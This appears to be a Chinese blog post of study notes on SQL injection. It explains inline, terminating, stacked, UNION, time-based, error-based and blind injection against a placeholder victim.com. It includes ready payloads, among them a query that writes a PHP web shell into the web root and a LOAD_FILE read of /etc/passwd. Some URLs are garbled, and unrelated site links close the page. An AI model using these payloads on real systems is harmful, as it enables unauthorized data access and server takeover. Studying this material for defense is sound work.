部分整理。。。

什么是SQL注入?

简单的例子, 对于一个购物网站,可以允许搜索,price小于某值的商品

这个值用户是可以输入的,比如,100

但是对于用户,如果输入,100' OR '1'='1

结果最终产生的sql,

SELECT *
FROM ProductsTbl
WHERE Price < '100.00' OR '' = ''
ORDER BY ProductDescription;

这样用户可以获取所有的商品信息

再看个例子,

对于用户身份认证,需要输入用户名和密码

但是如果用户在密码里面加入注入代码,

SELECT userid
FROM CMSUsers
WHERE user = 'foo' AND password = 'password' OR '' = '';

这样就一定可以通过验证

注入类型

内联 SQL 注入(Inline SQL Injection)

内联注入是指向查询注入一些SQL 代码后,原来的查询仍然会全部执行

字符串内联注入

例子,

通过下面的sql,把users 表中所有密码都更新为new_password,相当严重

UPDATE users
SET password = 'new_password'
WHERE username = 'Bob' and password = 'old_password' OR ''=''

数字值内联注入

请注意,注入数字时不需要添加开始和结尾的单引号定界符。

SELECT *
FROM messages
WHERE uid=45 or 1=1 /* 永真条件 */
ORDER BY received;

由于注入了永真条件(or 1=1),因而数据库将返回message 表中所有的行,而不仅仅是那些发送给某个用户的行

终止式SQL 注入

终止式SQL 注入是指攻击者在注入SQL 代码时,通过将原查询语句的剩余部分注释掉,从而成功结束原来的查询语句。

例子,

注入“' or 1=1;--”代码

SELECT *
FROM administrators
WHERE username = '' or 1=1;-- ' AND password = '';

由于存在 1=1 永真条件,该语句将返回administrators 表中所有的行。

SELECT *
FROM administrators
WHERE username = 'admin'/*' AND password = '*/ '';

有时您会发现在某些场合无法使用双连字符(—)。
在这种情况下,可以使用多行注释(/* */)来替换SQL语句中原来的注释。

该技术要求存在多个易受攻击的参数,而且您要了解这些参数在SQL 语句中的位置。

执行多条语句

SQL Server 6.0 在其架构中引入了服务端游标,从而允许在同一连接句柄上执行包含多条语句的字符串。

所有6.0 之后的SQL Server 版本均支持该功能且允许执行下列语句:

SELECT foo FROM bar; SELECT foo2 FROM bar2;

MySQL 在4.1 及之后的版本中也引入了该功能,但它在默认情况下并不支持该功能。

要利用该技术,您首先需要能够终止第一条语句,这样您之后才可以连接任意的SQL 代码。

例子,

http://www.victim.com/search.php?s=test';SELECT '<?php echo shell_
exec($_GET["cmd"]);?>' INTO OUTFILE '/var/www/victim.com/shell.
php';--

时间延迟

时间延迟是一种很强大的技术,Web 服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果,因此可用它来确认是否存在SQL 注入。该技术尤其适合盲注。

Microsoft SQL Server 服务器包含一条向查询引入延迟的内置命令:WAITFOR DELAY 'hours:minutes:seconds'。
例如,向Victim 公司的Web 服务器发送下列请求,服务器的响应大概要花5 秒:

http://www.victim.com/basket.aspx?uid=45;waitfor delay '0:0:5';--

服务器响应中的延迟使我们确信我们正在向后台数据库注入 SQL 代码

MySQL 数据库没有与WAITFOR DELAY 等价的命令,但它可以使用执行时间很长的函数来引入延迟。BENCHMARK 函数是很好的选择

mysql> SELECT BENCHMARK(10000000,ENCODE('hello','mom'));

注入攻击方式

注入首先要确定后端具体是什么数据库,具体是什么版本
方法取决于是否blind,即web服务器是否会把后端的错误或返回值,返回给你

基本的方法就是用,不同数据库的有差异的语法来验证,

比如对于字符串的拼接,各个库的语法是不一样的

Extracting data through UNION statements

通过union可以增加自己的sql,获取更多的信息

SELECT column-1,column-2,…,column-N FROM table-1
UNION
SELECT column-1,column-2,…,column-N FROM table-2

这种方法的限制是,

• The two queries must return exactly the same number of columns.
• The data in the corresponding columns of the two SELECT statements must be of the same (or at least compatible) types.

如何保证你的sql和原始sql具有相同的column个数和类型呢?

方法就是,你可以一个个试,

http://www.victim.com/products.asp?id=12+union+select+null--
http://www.victim.com/products.asp?id=12+union+select+null,null--
http://www.victim.com/products.asp?id=12+union+select+null,null,null--

一直试到不报错为止

对于类型也是一样,

http://www.victim.com/products.asp?id=12+union+select+‘test’,NULL,NULL,NULL
http://www.victim.com/products.asp?id=12+union+select+NULL,‘test’,NULL,NULL

试到不报错,说明类型匹配

例子,

For instance, the following URL would retrieve both the name of the current user and the name of the current database:

http://www.victim.com/products.asp?id=12+union+select+NULL,system_user,db_name(),NULL

Using conditional statements

各种数据库的条件语法,

Approach 1: Time-Based

On SQL Server, for instance, one of the first things you might want to know is whether the user performing the queries is the system administrator account, sa.

http://www.victim.com/products.asp?id=12;if+(system_user=‘sa’)+WAITFOR+DELAY+‘0:0:5’--

Approach 2: Error-Based

http://www.victim.com/products.asp?id=12/is_srvrolemember(‘sysadmin’)

如果后面的函数返回1,那么12/1,仍然等于12; 如果返回0,12/0明显会有异常,这样可以推断后面函数的值

As an example, let’s see how we can use a CASE statement to check, in our e-commerce application, whether the current user is sa:

http://www.victim.com/products.asp?id=12/(case+when+(system_user=‘sa’)+then+1+else+0+end)

Approach 3: Content-Based

可以避免产生错误,

http://www.victim.com/products.asp?id=12%2B(case+when+(system_user+=+‘sa’)+then+1+else+0+end)

比如上面的case,

把除改成求余

Working with Strings

http://www.victim.com/search.asp?brand=acme

等同于,

http://www.victim.com/search.asp?brand=acm‘%2B’ehttp://www.victim.com/search.asp?brand=ac‘%2B’m‘%2B’e

因为%2B,转义为+

也等同于,

http://www.victim.com/search.asp?brand=ac‘%2Bchar(109)%2B’e

下面可以这样来注入,

http://www.victim.com/search.asp?brand=ac‘%2Bchar(108%2B(case+when+(system_user+=+‘sa’)+then +1+else+0+end)%2B’e

根据条件判断,

http://www.victim.com/search.asp?brand=acme

http://www.victim.com/search.asp?brand=acle

上面的攻击只能获取1个bit的数据, 这种攻击可以扩展成,对len的判断,以用二分法确定len

+8)+then+1+else+0+end" href="http://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+then+1+else+0+end">+8)+then+1+else+0+end" href="http://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+then+1+else+0+end">http://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+then+1+else+0+end

继而可以用二分法找出每个char,

+128)+then+1+else+0+end)" href="http://www.victim.com/products.asp?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+128)+then+1+else+0+end">+128)+then+1+else+0+end)" href="http://www.victim.com/products.asp?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+128)+then+1+else+0+end">http://www.victim.com/products.asp?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+128)+then+1+else+0+end)

Exploiting the operating system

Accessing the file system

读,

The LOAD_FILE function also handles binary files transparently, which means that with a little bit of finesse we can use the function to read binary files from the remote host easily:

如,

‘ union select LOAD_FILE(‘/etc/passwd’)#

insert into foo set line=load_file(‘/tmp/temp.bin’);

写,

aaa’ union select NULL,‘SensePost 2008\n’ into dumpfile ‘/tmp/sp.txt’#

Executing operating system commands

Exploiting second-order SQL injection

第一次攻击请求,只是把攻击脚本,写入storage,如数据库

第二次请求,会把攻击脚本从库中读出,触发执行,此时才会产生真正的攻击

Finding Second-Order Vulnerabilities

Second-order SQL injection is more difficult to detect than first-order vulnerabilities, because your exploit is submitted in one request and executed in the application’s handling of a different request.

SQL注入攻击和防御的更多相关文章

  1. 《sql注入攻击与防御 第2版》的总结 之 如何确定有sql注入漏洞

    看完<sql注入攻击与防御 第2版>后,发现原来自己也能黑网站了,就一个字:太爽了. 简单总结一下入侵步骤: 1.确定是否有sql注入漏洞 2.确定数据库类型 3.组合sql语句,实施渗透 ...

  2. SQL参数化查询--最有效可预防SQL注入攻击的防御方式

    参数化查询(Parameterized Query 或 Parameterized Statement)是访问数据库时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值. 在使用参 ...

  3. web服务端安全之SQL注入攻击

    一.SQL注入攻击的原理攻击者在HTTP请求中,注入恶意的SQL代码,并在服务端执行.比如用户登录,输入用户名camille,密码 ' or '1'='1 ,如果此时使用参数构造的方式,就会出现 ' ...

  4. 实例讲解 SQL 注入攻击

    这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...

  5. Java程序员从笨鸟到菜鸟之(一百零二)sql注入攻击详解(三)sql注入解决办法

    sql注入攻击详解(二)sql注入过程详解 sql注入攻击详解(一)sql注入原理详解 我们了解了sql注入原理和sql注入过程,今天我们就来了解一下sql注入的解决办法.怎么来解决和防范sql注入, ...

  6. 防止SQL注入攻击的一些方法小结

    SQL注入攻击的危害性很大.在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理.这有利于管理员采取有针对性的防治措施. 一. SQL注入攻击的简单示例. statement := &quo ...

  7. SQL注入攻击的种类和防范手段

    观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的.虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施. ...

  8. php过滤提交数据 防止sql注入攻击

    规则 1:绝不要信任外部数据或输入 关于 Web 应用程序安全性,必须认识到的第一件事是不应该信任外部数据.外部数据(outside data) 包括不是由程序员在 PHP 代码中直接输入的任何数据. ...

  9. CSRF、XSS、clickjacking、SQL 的攻击与防御

    CSRF攻击 原理: 跨站请求伪造.是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法. 网站通过cookie来实现登录功能.而cookie只要存在浏览器中,那么浏览器在访问含有这 ...

随机推荐

  1. Activity启动方式

    Activity启动方式有四种,分别是: standard singleTop singleTask singleInstance 可以根据实际的需求为Activity设置对应的启动模式,从而可以避免 ...

  2. 下拉更新列表Android-PullToRefresh

    项目地址:https://github.com/chrisbanes/Android-PullToRefresh

  3. js:数据结构笔记13--检索算法

    顺序查找:也称线性查找,暴力查找的一种 基本格式: var nums = []; for(var i = 0; i < 10; ++i) { nums[i] = Math.floor(Math. ...

  4. Redis String命令

        命令 解释 APPEND key value 如果 key 已经存在并且是一个字符串, APPEND 命令将 value 追加到 key 原来的值的末尾. 如果 key 不存在, APPEND ...

  5. POJ2823 Sliding Window(单调队列)

    题目要输出一个序列各个长度k的连续子序列的最大值最小值. 多次RMQ的算法也是能过的,不过单调队列O(n). 这题,队列存元素值以及元素下标,队尾出队维护单调性然后入队,队首出队保持新元素下标与队首元 ...

  6. POJ2226 Muddy Fields(二分图最小点覆盖集)

    题目给张R×C的地图,地图上*表示泥地..表示草地,问最少要几块宽1长任意木板才能盖住所有泥地,木板可以重合但不能盖住草地. 把所有行和列连续的泥地(可以放一块木板铺满的)看作点且行和列连续泥地分别作 ...

  7. unity 翻牌游戏(全都是gui)

    ;//列数 ;//行数 ;//所有卡片的数量 var matchesNeededToWin:int = totalCards*0.5;//最大匹配数,用来判断游戏是否胜利 ; ; ; var aCar ...

  8. android 获取当前屏幕作为毛玻璃模糊背景Acitivity作为弹出框。

    使用: 1.在执行弹出界面前,先将其当前屏幕截图. BlurBuilder.snapShotWithoutStatusBar(getActivity()); 2.为了确保界面切入无效果. startA ...

  9. Checkbox的选中删除功能且Ajax返回后清除所选行

    转摘:http://javaweb1024.com/qianduan/jQuery/2015/04/13/544.html 功能描述:多选框勾选以后(全部或者部分),需要想后台提交已勾选的数据(Aja ...

  10. shell字符串和数组

    字符串 : 1.单引号: str = 'value' 单引号字符串的限制: 单引号里的任何字符都会原样输出,单引号字符串中的变量是无效的: 单引号字串中不能出现单引号(对单引号使用转义符后也不行); ...